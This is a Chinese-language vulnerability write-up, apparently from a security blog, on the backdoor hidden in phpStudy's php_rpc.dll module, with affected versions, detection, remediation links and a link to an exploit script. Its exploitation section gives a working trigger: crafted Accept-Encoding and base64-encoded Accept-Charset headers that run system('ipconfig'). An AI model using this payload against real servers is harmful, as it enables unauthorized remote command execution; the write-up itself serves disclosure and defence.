点击上方蓝色字体,我们一起努力!
0x00 简介
phpStudy是一个PHP调试环境的程序集成包。该程序包集成最新的Apache+PHP+MySQL+phpMyAdmin+ZendOptimizer,一次性安装,无须配置即可使用,是非常方便、好用的PHP调试环境
0x01 漏洞概述
使用广泛的PHP环境集成程序包phpStudy被公告疑似遭遇供应链攻击,程序包自带PHP的php_ rpc.dll模块隐藏有后门(来自雷神众测)
0x02 影响版本
phpStudy20161103版本:
php5.4.45与php5.2.17
phpStudy20180211版本:
php5.4.45与php5.2.17
0x03 环境搭建
公众号回复“phpstudy环境”,解压后无脑安装即可
0x04 漏洞利用
首先检测后门是否存在,后门位置:
phpstudyPHPTutorialphpphp-5.2.17ext
phpstudyPHPTutorialphpphp-5.4.45ext
找到目录下的php_ rpc.dll文件,用文本打开,搜索eval关键字:
如图所示,可判断存在后门
然后用存在漏洞的PHP版本进行启动服务,我使用的是5.4.45,切换版本的位置如图
然后随意访问一个php文件,拦截数据包,添加如下的请求头字段:
accept-Encoding中逗号后面的空格要去掉
Accept-Charset为system('ipconfig')的 64编码
accept-Encoding:gzip,deflateAccept-Charset:c3lzdGVtKCdpcGNvbmZpZycpOw==
repeater重放数据包,成功触发后门:
0x05 修复方式
从PHP官网下载原始php-5.4.45版本或php-5.2.17版本,替换其中的php_ rpc.dll,下载地址:
https://windows.php.net/downloads/releases/archives/php-5.2.17-Win32-VC6-x86.zip
https://windows.php.net/downloads/releases/archives/php-5.4.45-Win32-VC9-x86.zip
检测工具:
https://www.xp.cn/zijian/
后门利用脚本:
https://github.com/NS-Sp4ce/PHPStudy_BackDoor_Exp
参考链接:
https://mp.weixin.qq.com/s/dTzWfYGdkNqEl0vd72oC2w
继续阅读与本文标签相同的文章
Python 16进制与中文相互转换的实现方法
js实现左右两侧浮动广告
-
互联网之光大会的黑科技,总有一款惊艳你!
2026-05-14栏目: 教程
-
微信宣布一项新举措,关系到每一个用户,网友一致力挺:干得漂亮!
2026-05-14栏目: 教程
-
微软建议企业客户卸载KB4520062累积更新
2026-05-14栏目: 教程
-
他让我国芯片研究停滞13年,还骗走11亿研发资金,现状如何?
2026-05-14栏目: 教程
-
健乐教学机器人可开展的教学实训内容
2026-05-14栏目: 教程
